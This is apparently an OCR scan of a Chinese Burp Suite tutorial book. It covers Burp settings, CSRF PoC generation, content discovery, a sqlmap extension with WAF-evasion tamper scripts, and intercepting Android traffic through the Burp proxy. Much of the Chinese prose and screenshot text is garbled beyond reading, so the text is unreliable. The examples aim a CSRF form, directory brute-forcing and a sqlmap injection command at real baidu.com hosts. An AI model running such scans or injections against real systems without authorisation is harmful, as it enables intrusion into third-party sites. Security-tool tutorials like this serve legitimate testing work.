A)IFEIRRER—MIERIFE |, WE 1-2-13 ¢

55106 51 / & 250 01 XS R A Yol = 258, VIZIE TAREHZ .
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Bigs | &
LEJ Character Sets Big5-HKSCS
) EUC-IP
LEJ Theze =zettings control how Burp b EUCKR etz when d
Mew or Dialog.
GB18030

@ Recognize automatically baseq pgogq2

i) Use the platform default (GBK] cgpi
() Display as raw bytes IBM-Thai

| JEM

() Use a specific character set: [Ergﬁ

1-2-13

HTTP SRR ERERMAIER - FREMIDIEIRIE R TR IES R,

SR RNRAEN— L RENFHA SIS E R, IRMRREER N EREAR
SENFRE | (RRIZBESTEHHITRAIFN , MR Dialog,

HTML rendering

Html rendering 2 html # X HER , ;R HTTP BRRERER HTML RBHIREY
AT HIIEREINLEES. s Burp EESFHrRENTE2EM HTML BE
(BN, BTFEBRARENR ) BFHTEIMI HTTP 5K, [FRLETGS RAGEREF HTML B

RREZ ARG , NERER BRI FHEIUH—LaNEKEI BN ARER | 21E

1-2-14 .
[2| HTML Rendering
|l.3 These zettings control how Burp handles in-tool rendering of HTML content.
ow renderer to make requests (for images, etc.)
= Al d t ke HTTP ts (fori tc.)
1-2-14
Misc

EIMREEHIZE hotkeys(#¥2) , logging(iIER) , temporary files(IfRI ) BIUE |
automatic backup(Bz5%%9)#1 scheduled tasks FREHNES),

Hotkeys

RERIFEERERERNERERE. WX ETLM OB —MREER | LTS
5107 50 / & 250 51 AUHHE R Dol 2158, VIZ0H RS
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DFETEA HTTP iEKENEAAIZNNE , 6180 “send to repeater(RiXEHEAR=ER)" .
2)2ER{TEN , 80 “Switch to proxy(IHREIRIEIRSER)".

3VESRIBIRIE , W0 "FEY)" A RGE.

—ERRREOALE. FEISNRUNRCEREIME | IS0 E— M RIER , 10

1-2-15:
L?J Hotkeys

G These settings let vou configure hotkeys for commen actions. These include item-specific actions such as "Send to Repeater’

Action | Hotkey |
Send to Hepeater Cirl+R |i
Send to Intruder Cirl+l

Forward intercepted Proxy message Ctri+F >
Toggle Proxy interception Ctrl+T

Switch to Target Ciri+-Shift+T

Switch to Proxy Ctri+Shift+P

Switch to Scanner Cirl+Shift+S X

Edit hotkeys

K 1-2-15

FTERYIREER A R(EREHISE ( =ifE OSX £AY Command $ ), tBRTLASERA Shift FEfib
BIAARYEINRT, EER  FERL Windows Zei=HRY Ctrl + Alt fBE2H Windows /955
EF5# AltGr , FelsESEWMANFRET , EXAFERPEEIHE.

Logging

REEH HTTP iERFMAAICR. ATLACRENTASASE Burp REHTEE. ERR
FICRAY , SFE—MELLRSRREFAS | ST LR AR I — iR T

3k, AIEHE sqlmap BT , RIESH0EL , WE 1-2-16 ¢

2] Logging E#0) (5 Desktop s @ (&)@ (E) B
| These settings control logging of HTTP requests and responses.
) (&5 conf (&5 ThinkPHP

Alltools: [¥] Reguests [ Responses ﬁ images ﬁ weibo1

Proxy: (] Reguests [ Responses ﬁ phpsdk ﬁ HEalrsE

Spider: (] Requests [] Responses (B phpzzEi B s=aax

Scanner: [] Reguests [ | Responses ﬁ EnE ﬁ wamg

Intruder; [] Reguests [ Responses Tk 7 TS

Repeater: (] Requests [ | Responses

Extender: [] Requests [ | Responses AEEN):

1-2-16
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Temporary Files Location
RE—LFRSU4RYETS | FTLURERGEOA , BAILIBENXERE , & 1-2-17 .

EJ Temporary Files Location
@ Thesze settings let vou configure where Burp stores its temporary files. Changes wil take effe

{® Use default system temp directory

() Use custom Iocation: Choose folder ...

1-2-17

Automatic backup
BaEHIIeE. IREAIHEECE Burp (RFRIFFE LR IPRSHEENEHEREZ Do

FEEATLUEFRY | 20E 1-2-18
EJ Automatic Backup

@ The automatic backup feature can be used to save a copy of Burp's state periodically in the background, and ¢

[ Automatically backup state every |20 minutes

m fnldar “henoa f
LU R 8 el LG

1-2-18

ERXERIEARER—RBSBIRN I , RENSEHEIAE Burp RERBEM. W
RECEREBFEENFIIIIE , {RAILMER “include in-scope items only({{XBFEE
SEEIRNEE)" LRSS EE.

Scheduled Tasks

THMES. (ORTANREER | SR LAERESERRER BalEaiiliE R EESERERIRT
[EFNEIRRATE]. ERTLAERES TR RENEIEREB IS TILAVI |, R

BIF , FEMBIEFEr BRI IIF. E(ERILLINEE , IS Burp RYH(TithTT—
8109 51 / & 250 BT AUEME R e Yol E SIS, YIZIH T ARER .
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AN HTTP iEK  SEaIERs B iR ritE FH7E ERIEERHRY "Engagement(& 5T H)"
FrifE “Schedule task(tXIfESS)” . HE | EEALIESEHIESERFERERI—
MIES. BR—NFESEITA RS, JURBEESINERER.
ESITRIBLATEE

1) M URL 3§

2) BieEaIE

3) 4ReEF I

4) M\ URL sk

5) Bk

6 ) RPN

HRIBESHURE , BArTLAECE— URL (U013 ) 80X (ARERE) o 8—ME
ESREERETEE. &E , SLEEESESEENHREERE.

Suite functions

Generate CSRF POC

[EALARILTHEERT BT 4R — MIERE T HESIRIE ( PoC ) EEubsRigRikiE ( CSRF ) Igdd
F—MAEANER, EEFAILINEE , BIEFE Burp AMH@iES URL 8¢ HTTP 53K , FHik
¥ ETEERFR "Engagement tools(B25T )" #$RY “"Generate CSRF Poc(4£R%, CSRF

H—@)" |, a0E 1-2-19~E 1-2-20 :

| Egenerioos > [F—

show new history window Discover content

‘| Add comment Schedule task
Highlight ‘ Generate CSRF PoC
MNalata tam

B 1-2-19
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E CSRF PoC generator = B
Reguest to: hitp.//eiv.baidu.com ? Options.
J Raw T Params I Headers I Hex ]
GET /hmwt/icon/Z1l.gif HTTR/Ll.1 |¢
Acocept: image/png, image/svgtxml, image/ *:g=0.8, */*:cq=0.5 ™
Referer: http://www.homelink.com.on/
Accept-Languages: zh-CHN
User—Agent: Mozilla/5.0 (Windows NT £.3; WOWe4; Trident/7.0; MALNJIS: rv:ll.0) like
Geoko
Aocept-Encoding: gzip, deflate
FProxy-Connsction: Eeep-Alive
DNT: 1
Host: eiv.kbaidu.com |V
&J L_J | | 0 matches
CSRF HTML:
<html> A
<!-— CSRF Pol - generated by Burp Suite Professional --> -
<body>
<form action="http://eiv.baidu.com/ hmt/icon/21.gif"=
<input type="submit” wvalue="Submit redquest"™ />
</ form>
</ hodys>
</ html>
-
|
7 = Type a search term 0 matches
Regenerate l Test in browser J l Copy HTML J l Close J

1-2-20

Burp B/~ 7 EINEREIRPIEEITENIEK , FHEERR HTML CSRF ERYEAYER. £
HTML {ERRIAZZCAN/EX, JavaScript SRERRIENI S es AT EKANEK, BRI LAFahiRIERNE
K, FEE "regenerate(ERTAERL)” %50  ARIEEFTAVENRKE AR CSRFAIHTML
{RATLATIRAE ARRY PoC RURERFENIEGEE+ , (£ "X aONILEes" &, SERItiE
TN, AJLARSREZIR SRS ( BeEJ9fEF Burp BUERISEANEAEMEE ) —ME—BIURL . H
RIS 2R EKEARSS Burp SZERIERAY HTML |, SATSIRATLURTERY PoC 2E2E
HEWERIRTEK (s ) T, BERERSSHIT 7 26T,
Message Editor
HTTP [EE RIS 2T E Burp EEF4IEN HTTP BKFIHAL, LN BRRISHEAR

5 WiEssEIEAENIINE BESREH—SoImXLHE H#E50 Burp B0 TIFALE |
FAN I/ 250 00 UPHE R e Mk F 3 5gi, IZIA TR g
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AR TRt A RRESS.

Content Discovery

I ThEER BFAMABH A NERT LA SR AT WA S SR TIEE,
E(FFILINEE | IBEEIRIE Burp BEEIES— HTTP 153K , SfHaEpo BirubmitE |, 7

ELTERESR "&5THR" hidE "BxRE" , WE 1-2-21~E 1-2-23 :

Engagement tools Find references

Show new history window Discover content

Schedule task L
Generate CSRF PoC

Add comment
Highlight

o W I

K 1221

E Content discovery: http://eiv.baidu.com/hmt/icon/

J Control T Config T Site map ]

? Discovery Session Status

Use these settings to monitor and control the discovery session

Session is not running

Requests made:
Bytes transferred:

Tasks queued:

0
0
Errors: 0
0
Spider requests queued: 0

0

Responses queued for analysis:

Queued Tasks

Path Task Requests

& 1-2-22

Control | Config | Site map
- E
?| Target

Define the start directory for the content discovery session, and whether files or directories should be targeted.

Start directory: | http:/ieiv baidu. com/hmificons

Discover @ Files and directories
O Files only
) Directories only

@ Recurse subdirectories

Max depth: |16

?| Filenames
Configure the sources Burp should use for generating filenames to test. -
(] Built-in short file list
[ Built-in short directory list
[ Built-in long file list
] Built-in long directory list
[ Names observed in use on target site

[] Derivations based on discovered items

?| File Extensions

These settings control how the discovery session adds file extensions to file stems that are being tested.

1 Tact theea aviansinne: -

1-2-23
Burp FRSMEARAIMAS  SIEUR2EN , WEMYE , FEMNBBONEREFRPER
F 112701 / & 250 11 AUEHE R e N E =28, VI FAEERE
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RIMZIEIMNE. RIMAIABHETE—MFARM S E RIS EN A SE | FEIERTLL
(EEHANNE suite site map.

Control

SR B E R STEN AP, HRHEREEBRIBIEEET , AT EEE

WED=IE |, e 1-2-24 ¢

J Control T Config T Site map ]

? Discovery Session Status

Use these settings to monitor and control the discovery session.

Session is running

Requests made: 57
Bytes transferred: 5348
Errors: 0
Tasks queued: 10
Spider requests gqueued: 0

Responses gueued for analysis: 0

Queued Tasks

Path | Task | Reguests.
fhmtficen’ Test observed directory names
fhmtficon/ | Test short file list with custom extensions | 6
Shmtficon! Test short directory list
Ihmtficon/ Test numeric variants on 21.gif
fhmtficen’ Test extension variants on 21.gif
fhmtficon/ Test observed file names with cbserved extensions
Thmtficon! Test long file list with custom extensions =
Ihmtficon/ Test long directory list
fhmtficon/ Test short file list with observed extensions
Thmtficon! Test long file list with observed extensions
1-2-24

THEENERZENSIERIRRE RHAERETEIRSS 2SI E AT T AN B IR IREN
HEBARY AR I ESS EUNIR HEBAROIB R EHEA D I R RS N A RIS B B RIS .
RIS BRI ITERERT , S— M ERIBRECEHRRI  H—ERUES2RTIL  XEUR
T,
Target
XEERALHSEN TREEAMKEEHNER  UREENHHEREGHI M. Tk

A

#1130 / & 250 1t NS R4 Al 2 5gim, U120 T aRE .
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Start directory(iIBE1ER) - X2 Burp MIEFHASHASTHE., XFEBLKEFER
NAREMBBERINEAERHEK,

Discover(&¥) - IETRERIERERSHNAHBR  SERMELZ. NRIREER
BRIER | (RETLUGRERIARIMARIE I F B R P A,

Filenames

XEGAIEI LEEECE Burp MOZERERRISGE MR, T7i%ka] /A
RERENMHYIZR . REEKRERIIR . REKXMHYIER . REKBRYIER
AIAEERLR EHERRIETR. NRERIER , Burp SEEHFRTBRIERIINEEZEER
WA RMuL_ ERIRE , e EREENNE— B R,

RIE R RS, NIRRT Burp 2EHBNIET L ELHAIIAINE 2R,
Bign , aNSRiZEZF AnnualReport2011 &3 , Burp t254@& AnnualReport2012 ,
AnnualReport2013 £,

File Extensions

EHIMIAI SR BE |, EEUR. 2N ASRIRE GRS, 58
ANHRIERIRRS |, Burp 2IOESMABNT R , RIEXLIRE. TSR
1)Test these extensions(UHiXLEY &)- HIEINATLLERENTY & | Burp REEIGES
B, (RETLARIERIER_EEANEXS Bfn N e ERIROR | BUATIER,

2)Test all extensions observed on target site(Ui BtR=EUEIRIFTE D) - NSRIEEEE
ILEIkTN , P4/ Burp Bt E R SFECAERTHRNERR Birubm LRSI EE. It
ETYRERA SR FERRRM AT REAEERER. FETURERNEEEE | B
ERIEEERT (NEGE ) B BRYIR.

3)Test these variant exxtensions on discovered files(fENFX (4 AIIX LT 2 FE) -

#5114 50 / B 250 00 AXHHME R Yol = 23580, VIZIA FAREHE.
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EIRTNAT LR E AT R FIZRAY Burp SEYMEELMEAIIN AR, X MNAEGERS
RIS RINRER.

4)Test filestemswith no extension(UIX3A4FEH fRE) - MNRIEFILIEI , Burp 245
MHEEATY BRRM.

Discovery Engine

RATRRRBITAL HTTP IBKRI5|1E , B ERMLREE). THIEIAA
1)Case sensitivity(XDK/NE) - XMRERES] Burp EESGEXXEHRZIERT |, 8Uk.
SNERIEEE "BHaptall” #HES | 2SS Burp SBITIEN M ERIIER TRV  FERIR
HNE—MIRE | UL ERRIAIIRSS AR, RIEEMATT | Burp AJEEIRSEZINIEL
HEBER FARD KNS,

2)Add discovered content to suite site map(RILAIRSENEFLLRUE]) - WNSRERE
RN , ARESRISIENAIRE 7 #HRIE B ENNNE A=A ubE.
3)Copy content from suite site map(S#|EibRIBENRE) - WNSRERIEDR , WA
AR ETHUNERNEXRENETER I RIEHERIIMNLGE LR IFNRE
BERAIH AR,

4)Number of discovery threads(#I#k\ EAIMHIAZR) - WRIERIIET , WEANESIERE
HPATEMAINEHE , F RSN LIS SHHERI EMFRNS. KIHITEHE
- ORI HIFF ARIERERIARINS [EREEFH. WEREAZE - IZIATUEHF AIERERIH
RIHRERRETE(E | WIRERA.

Site map

ZEKMSTE(FEAB CRIGRIE |, B RFEERMESCEERNMERES. REEEkE

Burp A9IE , FTARIRAIIN B 2SI INZE] Burp REZEuLRtE.

FH 115050 / & 250 01 AXHHME R Yol = 23580, VIZIA FAREHE.
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Alert

FAsRER=3R1 Burp FUIEAERN— LR | XNRHANMERT , W8 1-2-25 ¢

Time | Tool | Message

03:23:232 EF 2014 Proxy Proxy service started on 127.0.0.1:3080

03:23:232 5 F 2014 Scanner Live active scanning is enabled - any in-scope requests made via Burp Proxy will be scanned

03:24:02 2 1 F 2014 | Extender Gw‘tsranjar Qaughlpva Iang Numher‘FumﬂIExoeptu]n For |anrt stnng while raad\ng HTTP resp
Kl 1-2-25

Burp Sqlmap #&f¥

SqlMap E— M FiREENX TR , EaLAEamGNAIFIA SQL IENRRFIEEEIERERR
SERhUdE, BEE 7T — M IIEERARMENSIE | FEFIETIEE  ARLNEENHM,Z
RSN EGRRE FESGFARY | FEEUE N SRR PIREY |, BT INRIRE X RFFIERER

5 ETAR SRR I NERR | A0 1-2-26 ¢
X

SGLMap option=
Target
[ URL | hitp:#hm.baidu.com:80/hm.gif?co=1&ck=18cl=32_bitdds=1366x7688ep=.. || | Del | |(GET |w]

Cookie
Bin path E:\Program Files (x86W\burpsuite pro v1.5 20\Burp-extensions\Sqlmap\sglmap. py L:J
Comanacad python.exe E\Program Files (x88\burpsuite pro wi1.5 20MBurp-extensions\Sqlmapisglmap.py -u htl
Custom options Tampers
DBMS | Auto |"_] E] apostrophemask D halfwersionedmorekeywords

2 appendnullbyte modsecurityversioned
Action  (Aute — ] app byt J ity

D basef4encode D modsecurityzeroversioned

Entries for table(s) [] between [] wersionedmorekeywords

Leved LE Risk LE D =zpace2dash D spaceZmssqglblank

[] charencode [] space2mssghhash
Verbose? [ | Fingerprint? [

D spaceZhash D spaceZmysglblank
Random User-Agent? D

D equaltolike D spaceZmysqldash
Database [ ifnuiZifisnull [] spaceZrandomblank
DB to enum [] muttiplespaces [] wersionedkeywords
Tabile bo erwm D percentage D randomcomments

D unmagicquotes D spaceZmorehash
Colte enum [] securesphere [] charunicodeencode
L S [] spacezplus [] chardoubleencode
Optimization Parameters to test
E] Turn on all optimization switches =
[] Predict common queries output ck=1
[] use persistent HTTP(=} connections cl=32-bit
[ ] Get page length without actual body ds=1388x758

<

liesads 1 D Debug “ou can edit parasmiters with double mous=s clicking
| Hep | [ Ext | [ Run |

1-2-26
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WERIEH

FE python, java INME , HEFETE sqlmap.py. gason.jar f&4,
TERBLE : https://github.com/sglmapproject/sqglmap
http://www.praetorian.com/tools/gason-0.9.6.jar

£

1) 1%&#% Burp Extender ¥ Ei50 , a0E 1-2-27 :

l Add J oaded | Type | Hame
m rrlIILFII rl:lrlLFl:lLI FarscT
Remove |1 [} Python NWMAP Parzer
[} Java Gwtscan.jar
Up [+ Java Burp Motes Extension
[ Java Script Generator 2.0
l Down J & Java gason-0.9.6 jar =
E Load Burp Extension

Detailz | Output

[ Extension lnade

Please enter the details of the extension, and how you would like to handle standard output and erro

Extension Details

Extension type: Java | ¥ 2 "'

ftem Extension file (jar): | censions\Sgimap\gason-0.9.6 jar Select file ...

Mame: |gason-0.9.

1-2-27

2 ) AINBIH IR INERRTY | PAIRTE(ESRY Burp iISKEAANFERAS, Wik 1-2-28:

Advisory | Request | Red Send to Comparer

Send to Decoder

Show response in browser

]'RawT Params I Headers

ET
hm.gif?occ=1lack=14&g
S560ce788403E038409q <end (o Assassin
ZZ1&v=1.0.57&1v=14 Extension: Multi Scanner

BO%SASE7SBDS91%E4] Actively scan GWT request(s)

$EF%83%E9%80%389 %1 .
ache—Control: maxd Actively =can JSON reguestis)

‘ser—Agent: Mozillg SendtoNotes >
eferer: http://std Generate Script

cocept: *SF
onnection: Eeep-a

Request in browser >

coept-Encoding: ¢f Engagementtools L
1-2-28

3) FETRSUH gui Rl , ERAELNNE sqlmap.py BB, WK 1-2-29:

FA17 01/ & 250 1t ANHHE R A A 2 A8, V120 AR & .
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2| SQLMap wrapper v0.9.6 - by CrOhn @ggdaniel - Win port by Pr... = ©
SQLMap options
Target i
URL | hitp:ihm. baidu.com:30¢hm.gif?cc=18ck=1&cl=32-bitdds=1366x7688ep=... |¥| | Del | [GET |w|
H il L‘A.E.
Cookie B NNETE T BeE A
Bin eruuram Files (x36M\ourpsuite pro v1.5.2[!1.E|uru—extensinnsﬁ.s-ulmau% [
Command python.exe E\Program Files (x88\burpsuite pro v1.5.200Burp-extensions\Sglmap\sglmap.py -u htl
Fustom options ) '_I'ampers
DBEMS [ Aute (¥ [] apostrophemask [] halfversionedmorekeywords
. appendnullbyte modsecurityversioned
Action [ Auto | '] D P byt D ity
D basef4encode D modsecurityzeroversioned
Entries for table(s) [] between [] versionedmorekeywords
Leved LE] Risk LE] D spaceZdash D spaceZzmssglblank
D charencode D spaceZmssglhash
Verbose? |:| Fingerprint? |:|
D spaceZhash D spaceZmysglblank
Random User-Agent? D
D equalolike D spaceZmysqgldash
Database . D ifnuliZifisnull D spaceZrandomblank
DB to enum [] muttiplespaces [] versionedkeywords
Table to enum D percentage D randomcomments
D unmagicguotes D spaceZmorehash
Col to enum [ securesphere [ charunicodeencode
K 1-2-29

EFZAEREAER 33T sqlmap FiFEFRY  BRHRERE S FRERIHRANER S

THLUAXNEEREEEGSERER | (il  ANEEATEGEIEEESEL , W&

PAUn P 1-2-30:
Command |-]-'l.bur|:r5u'rte pro v1.5.20Burp-extensions\Salmapeqim@lr. oy —dbms=my=ql -u hEnhm-kaj IJ.I:I:IITIZ1'|
Custom options ~ Tampers e
DBMS | MySQL |':| D apostrophemask D halfwersionedmorekeywords
1-2-30

N LB T EA TARS run BIE , BFEREHMAMOISHINGE T , BERGEN

sqlmap arSHER—FRY , TERLES 7 burp E—RIFAHERA burp MUEFENT A
ERLAEREARZER sqlmap #{TEN. MERIEER,

Notes

7£ Notes 3EII=5 |, &EalA :

F 118 01 / & 250 1t ANHHE R4 A 258, U120 T aARE & .
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EFEEIESIN « fEE BRI RRIS R — .

- REGE | NI LARIIR R —ERT.

- BRI MRE— RIS,

- BAXE  IHE— N NAHHIRE.

- FRYBBFRIE | I MRE— NI RIE.

- SANBFFRE  IiE— CSV XA,

- AR LAS HEBRA D SRR EIINRS

REWE 1-2-31 :

[Targe‘t T Proxy T Spider I Scanner T Intruder T Repeater I Sequencer T Decoder T Comparer T Extender I Options TAlerts TNudes L

Menu

Export Tab
Save Notes
Load Motes
New Text
Mew Spreadsheet
Import Text
Import Spreadsheet

L=t
TR

1-2-31

£ Burp =5 ®E Extender> > Extensions> >Burp Extensions FHYadd %0 #0&E 1-2-32 :

[Targe‘f T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer TExtarwlar Options | Aleri:

_[E:denshnsTAPls T Options. 1

j

/

Burp Extensions

Extensions I% customize Burp's be E Load Burp Extension

l Add J Loaded | Type Please enter the details of the extension, and how you would like to handle standard output
) Javd

Remove £ Java Extension Details
[ Java
Up ] Java Extension type: Java | ¥

# Java —

[ Dawn J & Java Extension file Q'Er ;| Mbuildyjar\BurpMotesExtension. jar %eled file ...

f Nataile T Chtrt T Frrors 1

119530 / & 250

Standard Output

1-2-32
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{sEF
1)ETLAM Burp EEFREHRY Proxy history BBi%#EA&1%%! notes,

2)tJ#EZ notes ARESEIR-REA],

3)Save notes({RIFEIA)

A BRTLAS NN ATIRS S 4

JSBeautifier

REERIMukFAEEZRR |, 0 JS 34, LMEEINEEIRE. A , T2EUEAEE—
FEaRFERASZME, X2 Burp FFFY B XEEEA LS ARRD FiR. EIt
XIGEHT Web NAREFZEMARAREEEERFESZ. BEILISHBIIE %Y
HIFNRTNISE AR EARERIRA (20JS , €SS, HTML, XML, &5 ),

Es

1) Tk jsbeautifierjar 4#1 libs BR

2 ) mif Extender>>add i%4% jsbeautifierjar , 41E] 1-2-33 :

[ Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options TAIerts T Notes T JSBeautifier Settings

Beautify PROXY responses automatically? D Only in scope tems? [:|
Beautify ALL responses automatically? [:| Beautify headers in Manual mode? [:|
Indent Size llndent with a tab character | "J Detect packers and obfuscators? @
Max Preserve Newlnes lAIIDw 5 newlines between tokens | "J Keep array indentation? [:|
Wrap Line Length lDD not wrap lines | "J Break lines on chained metheds? [:|
Brace Style lEraces on own line | "J Space before conditional: "if(x)" / "if (x)" [:|
Indent Scripts lKeep indent level of the tag YJ Unescape printable chars encoded as '«MN or WNNNN7? [:|
Debug Mode? O

Reset To Original Values

Name: Burp Suite JSBeautifier -Version: 1.0 -Source: hitps://github. com/irsdiBurpSuite)SBeautifier -Author: Soroush Dalili (@irzdl)
1-2-33

{EF
EiEAEEE RIS KIER beautify this!BIA]

(&R ) RERIE - 57

120 71 / & 250 1 AUHHE R e M E =T, VIZIE AR A &
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375 BurpSuite EANME (=)

(== BI\VIP S
kB8 : S=ANRE

RILE : http://drops.wooyun.org/

0x01 Android E#IHL proxy for BurpSuite
ZEBHILTA
XEFFEANES T EII2E Android SDK , KRALURIEE CHRSGRE , BIEAN

& window64 R% , AFIEE THRIIHERILUEE—T , RRMBEERXNRFFRKET.
TERHELE © http://developer.android.com/sdk/index.html

B & Android

T , BEA SDK B manager.exe FIEMI 43k, I , FeliJEI— MRS |, TLAE
& Android SDK S22 REIEEA 189 AVD ( Android BIREHNIRE ) ; XKEEFIIEMS

Android Fl. REZ=EEMLIE 1-3-1

“ Java - ADT - =
File Edit Refactor Source Mavigate Search Project Run Window Help
o i B i i wigs s O - i I
: - - - *| - Quick Access :J £ | [& sava
[# Paoc. . j=c) = O ‘ = 8
Android SDK Manager = =
Packages Tools
SDK Path: Ex\Program Files (x86M\Androidisdk
Packages
imr Mame API Rew. Status ~
a [ Tools
[] +* Android SDK Tools 22.6.2 [n Update available: rev. 22.6.3
[+ Android SDK Platform-tools 19.0.1 B Installed
[ Android SDK Build-tools 19.0.3 E# Installed
[ Android SOK Build-tools Fead2 || Not installed
] Androld SDK Buitd-tools FeO0.7 [ Not installed
— Android SDK Buitd-tools 7o | Not installed
1 Android SOK Build-tools FET.T || Not installed
1 Android SOK Build-tools FaT | Mot installed
[ Android SOK Build-tools FAAT || Not installed
[ Android SOK Build-tools 77 | MNor installed
a [0z Android 4.4.2 (API 19) ~ at
Show: Updates/Mew [+]Installed [JObsoclete Select Mew or Updates Install packages... b
B | Sort by: @ API level () Repository Deselect All Delete packages... i
= O o
Fetching httpsy//dl-ssl.google.com/android/repository/addons_list-2 sl

1-3-1
1%#% TOOLs THY Manager AVDS , #lIE] 1-3-2
12170 / 250 T AUHHE B e Mg 2 555, VIZI A TERE A .
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£ Android SDK Manager SN . A — IEQ“
Packages [Took |
S0 Pathc Manage AVD:... et adt- bundle-windowss -85 _E4- 21307200 ad8- bundle- wandows -85 6420
Packsge: Manage Add-on Sites..
W Mar Options... A Rew. Status -
4 i Aboat...
Er 2305 [ Instailed o
[] 4~ Androsd S0K Platform-tools 18,01 5 Installed
[7] 4" Androsd 50K Busid-tools 1801 [ Installed
[7] " Andrmg SOK Buid-rools 17 ek initaiied
a [7|E3 Androsd 4.3 [AF118)
7] [@ Docurnentation fes Android SDK 18 1 = Installed
] SDK Platferm 18 1 [ Installed
Il A Sarmples for SDK 18 1 = [miralled
[<] ¥H ARM EABI«Ta Sytern Image i8 1 B Update avaalable: rev. 2
[7] W8 el <85 Afom Syitern fmoge e H Pt inpdaiied
[#] 15 Google APk 18 1 B Update sveilable: rev. 2
177 Sowrces for Android S0K 18 1 5 Installed
b [FIE3 Android 4.2.2 (&P117) -
Shewe [ UpdatesMew [ Installed  [] Obsolete Select Mew or Updstes | Initall 2 packages. ]
Soat byt @ AP level ) Repositony Desatect Al [ Delete2 packages.. |
|5 |
— G 4
Done loading packeges.
K 132
— s
BashzfE  REWMTERE , WE 1-3-3
Android Virtual Device Manager = =

Android Virtual Devices | Device Deﬁnftl'on5|

List of existing Android Virtual Devices located at C\Users\|enovo.android\avd

AVD Name Target Name Platfo.. API Le.. CPU/ABI New...
iy Edit Android Virtual Device (AVD)

AVD Name: |Android
Device: |Nexu5 5 (4.95", 1080 x 1920: xxhdpi)
Target: |Andr0|'d 4,42 - API Level 19
CPU/ABI: ARM (armeabi-v7a)
Keyboard: Hardware keyboard present
Skin: QVGA
Front Camera: | None
Back Camera: | MNone
Memory Options:  gamt: | 2048 VM Heap: | 64 ET
Internal Storage: | 512
5D Card:

® Size: 2048

(_JFile:

1-3-3
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B Start FFIRZ = EEMAL , 20E 1-3-4
Android Virtual Device Manager - -

+]]

Android Virtual Devices | Device Definitions

List of existing Android Virtual Devices located at C\Users\lenovol.android\avd

AVD Name Target Name Platfo... API Le.. CPU/ABI
+" Android Android 4.4.2 442 19 ARM (armeabi-v7a)
Delete...
Repair...
Details...
~ |
Starts th
K 1-3-4
FRENE 1-3-5
[ 5554:Android - “ R

f)pﬂ
\vﬂv

1 @ [ F TR AT R
D S o s s
P S ) Y2 S s T
o1z Ix lc v s Iv vl le

| sym| ALT

K 1-3-5

BcEIE

1. Burp RIBIREWE 1-3-6
123 01 / & 250 T AUHE R 2 NN E ISR, VIZIHFAEE IS
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[Target ]’ Proxy I Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer I Extender T Options TAI&rt:

[ Intercept T History T Options ]

L2
| ‘J‘I Burp Proxy uses listeners to receive incoming HTTP requests from your browser. %ou will need to configure your browser to u
| Add | Running Interface Invisible Redirect Certificate
. _@"]__ _ 127.0.0.1:8080 R Per-host
Qs (] 192.168.1.14:8088 (] Per-host
(mRemaves] || B Edit proxy listener

_[ Binding T Reguest handling T Certificate ]

> [ These settings contrel how Burp binds the proxy listener.
Each installation —

Bind to port: 3038
|_ CA certificate i
Bind to address: () Loopback onhy $:H-L EE'HEID
() Allinterfaces /
|_;7_| :::@"_S_pgc;ﬁc_ﬂdFe_s.s: |TB'-2?SB_11_ -~ Ty _vJ
(] Usethanoastio. - e
— =3 CAWINDOWS\system32\cmd.exe N
& In =
M ZE WLAN:
£ . . ey
S = ] DNE 5
e 1Pue HhHL. fef@: 8917 0000:
- HE.o.o. . 192.168.1.14
- - 255 .255.255.8

(P9 . 192.168.1.1

1-3-6

2. LEIEHISEISE , Menu>System setting>More>Mobile networks>Access Point

Names> FEENARY APN S EZFE— N HEIZREREAMCE |, I0E 1-3-7

* Edit access point

Name
[-Mobile US

K 1-3-7
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3. REFTZIRFIFRAS AL | 20 1-3-8

[Target T Proxy T Spider T Scanner T Intruder T Repeater I Sequencer T Decoder T Comparer T Extender | Optic

_.@‘ Request to hitp:www . google. com:30 [173.194.127.17]

l Forward J l Drop J [ Intercept is on ] l Action J

||
J Raw T Params T Headers T Hex ]

SET fcomplete/search?hl=en&client=androi
Jost: www.google.com

Connection: Keep-Alive

Jser-Agent: Android/4.4.2

A

There are problems with the
security certificate for this site.

Go back View certificate Continue

1-3-8

REH ERI TR EAI— P EEAEN BER , BRALUMERY , 20E 1-3-9

Target T Proxy T Spider T Scanner T Intruder T Repeater T Seqguencer T Decoder T Comparer T Extender T Crption:

[
J tercept T History T Options ]

4 | Reqguest to hitp:/kstj baidu.com:80 [115.238.210.146]

l Forward J l Drop J [ Intercept i= on ] l Acction J

[ ]
J Raw T Params T Headers T Hex ]

POST fctj/fiknowiv=180op=31026085=240%
md5: 2028744357
length: 87
Content-Length: 109
Content-Encoding: gzip
User-Agent: Dalviky/1.6.0 (Linw=; U Android 4
Host: kstj.baidu.com

Connection: Keep-Alive

Accept-Encoding: gzip

Content-Type: application/~<-www-form-urle

O00000000000:00 ooO0wtoanoooow oo

K 1-3-9

N
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BINFRES%E
http://resources.infosecinstitute.com/android-application-penetration-testing-sett
ing-certificate-installation-goatdroid-installation/

0x02 Android F#/l Proxy for Burpsuite

R

BT EFIERBNE— W , EHERIRE— wifi TR LT, X8 MX2
192.168.1.1 YPEEHl, 192.168.1.5 F#l ip 192.168.1.2, E.EUT :

DFNIRE : FTFFN-->I8E->WLAN-->ERRE wifi NGRS | EREXEIRES
F& , REWT 4L - 192.168.1.5 //HH2HMETAY ip iwO : 8088 {RFRIA.
2)Burp Suite I€&

Burp RIIGENE 1-3-10

l Add J Running | Interface | Invigible | Redirect | Certificate
[+ 127.0.0.1:8080 O Per-host
Edit @ 192.168.1.5:8088 ) Per-host
I Remove ] »
K 1-3-10
SNIEBEIFHNF

SNEBEFIHESSHRESR | iEEEN L ELLRFANIBSHEEIRERF AR

MARFEESLEEEE , N 1-3-11

e e e s s
ElPortSwigger PortSwig
EPostTrust Roo%,. PostTrus EEEEEE
ElPost.Trust Root ...  Post.Trus e — — -
ElPosta CA Root Posta CA C‘“‘MR_%:E%‘J X308 [.CER)D) —
#/POSTArCA POSTArG () Baseb4 43753 X.509(.CER)(S)
L /PostSignum Roo.. PostSign
|g|:|-rir.l,1a|.-_,'r Utility R..  Primary | O INZEREiSEmE - PKCS #7 3EB(PTB)(C)
ElPublic Notary R...  Public Ne WSEATEE , NS r SRS IS
ElQuoVadis Root .. QuoVadi )
TASEEE - PRCS #12(PRXIP)

‘ MEATEE MR EEPIFEIEHEW

SEA0... SHi(E)...
